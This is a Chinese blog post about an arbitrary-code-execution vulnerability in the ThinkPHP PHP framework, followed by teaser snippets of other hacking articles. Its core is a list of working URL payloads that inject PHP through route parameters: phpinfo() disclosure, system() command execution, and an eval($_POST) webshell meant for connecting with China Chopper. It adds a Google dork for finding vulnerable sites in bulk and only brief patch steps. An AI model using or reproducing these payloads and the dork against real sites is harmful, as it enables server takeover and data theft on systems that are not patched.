ThinkPHP是一个开源的PHP框架, 是为了简化企业级应用开发和敏捷WEB应用开发而诞生的。最早诞生于2006年初,原名FCS,2007年元旦正式更名为ThinkPHP,并且遵循 Apache2开源协议发布。早期的思想架构来源于Struts,后来经过不断改进和完善,同时也借鉴了国外很多优秀的框架和模式,使用面向对象的开发结 构和MVC模式,融合了Struts的Action和Dao思想和 *** P的TagLib(标签库)、RoR的ORM映射和ActiveRecord模式, 封装了CURD和一些常用操作,单一入口模式等,在模版引擎、缓存机制、认证机制和扩展性方面均有独特的表现.
最近thinkphp框架爆出了一个任意代码执行漏洞,其威胁程序相当的高,漏洞利用 *** 如下:
index.php/module/aciton/param1/${@print(THINK_VERSION)}
index.php/module/aciton/param1/${@function_all()} 其中function_all代表任何函数,比如:
index.php/module/aciton/param1/${@phpinfo()} 获取服务器的系统配置信息等。 index.php/module/action/param1/{${system($_GET['x'])}}?x=ls -al 列出网站文件列表 index.php/module/action/param1/{${eval($_POST[s])}} 直接执行一句话代码,用菜刀直接连接. 有时候连接不上的话需要修改一下后面的一句话用print()函数打印出来,如下:
index.php/module/action/param1/$%7B@print(eval($_POST[c]))%7D
黑阔可以直接通过google批量搜索关键字:thinkphp intitle:系统发生错误 来获取更多使用thinkphp框架的网站列表。可见其危害性相当的大。 thinkphp框架执行任意代码漏洞修复 *** :
用户可下载官方发布的补丁:http://www.nxadmin.com/tools/ThinkPHP_20120323_security_patch.zip 修正 *** :
首先解压缩安全补丁文件。
2.1和2.2版本 替换补丁包中的Dispatcher.class.php 文件到 ThinkPHP/Lib/Think/Util/目录下的同名文件 3.0版本 替换补丁包中的Dispatcher.class.php 文件到 ThinkPHP/Lib/Core/目录下面的同名文件 替换补丁包中的CheckRouteBehavior.class.php 文件到 ThinkPHP/Lib/Behavior/目录下面的同名文件
俗话说练武不练功,十年一场空。如果你学黑客渗透的话,不学编程,那么会被人一直称为脚本小子。这个第二课,我们直接引入python课程。不瞒大家说,python我也是初学,为了照顾流行趋势,我在这里直接...
什么叫GDB? GDB或GNU Project程序调试是一种网络信息安全数据加密/黑客工具,容许客户在运作时在网络技术应用程序流程或程序流程(手机软件)中开展财务审计和发觉。GDB针对开发者或程序猿...
入侵网站时的十种小经验 1.例如我们的目标网址为“http://www.xxxx.cn/forum/index.php”那么我们把地址改为http://www.xxxx.cn/for...
Burp Suite是什么? Burp Suite是一个服务平台,包括很多插口,目地是推动和加速进攻程序运行的全过程中不一样的专用工具。全部这种专用工具都是有同样的架构,displayong解决HT...
在《黑客基础术语:什么是命令行和环境变量?》本文里我讲过什么叫SHELL?大伙儿能够温故一下。本文章内容是这一系列产品的第五篇,主要讲一下什么是黑客里的互动式SHELL及其在非互动式SHELL里怎样...
什么叫Ettercap? Ettercap是一种对外开放源码网络信息安全专用工具,适用中间人攻击局域网络的工作人员。它根据ARP中毒了计算机软件并将网线端口放置掺杂方式。因而,它能够 释放出来对其受...